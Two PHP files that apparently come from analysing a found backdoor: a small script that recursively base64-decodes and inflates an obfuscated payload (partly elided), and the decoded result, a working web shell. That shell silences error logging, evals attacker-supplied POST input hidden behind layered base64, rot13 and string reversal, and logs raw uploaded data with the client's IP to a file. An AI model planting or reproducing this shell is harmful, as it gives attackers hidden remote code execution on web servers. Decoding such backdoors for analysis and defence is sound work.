deception.php

<?php
// and this is how you handle this
function t($code) {
  echo "."; // just to detect how many inceptions there were
  $code = base64_decode($code);
  $code = gzinflate($code);
  $m = array();
  if (preg_match('/base64_decode\(\"(.+)\"\)/', $code, $m)) {
    return t($m[1]);
  }
  return $code;
}

$code = "DZZHDqwIEkTv0qv[...]YKX/u8/f//+/d//AQ==";
 
print(t($code));

?>

shell.php

@error_reporting(0);
@ini_set("display_errors",0);
@ini_set("log_errors",0);
@ini_set("error_log",0);

if (isset($_GET['r'])) { 
	print $_GET['r']; 
} elseif (isset($_POST['e'])) { 
	eval(base64_decode(str_rot13(strrev(base64_decode(str_rot13($_POST['e']))))));
} elseif (isset($_SERVER['HTTP_CONTENT_ENCODING']) && $_SERVER['HTTP_CONTENT_ENCODING'] == 'binary') { 
	$data = file_get_contents('php://input');
	if (strlen($data) > 0) 
		print 'STATUS-IMPORT-OK';
	if (strlen($data) > 12) { 
		$fp=@fopen('tmpfile','a'); 
		@flock($fp, LOCK_EX); 
		@fputs($fp, $_SERVER['REMOTE_ADDR']."\t".base64_encode($data)."\r\n"); 
		@flock($fp, LOCK_UN); 
		@fclose($fp); 
	} 
} 
exit;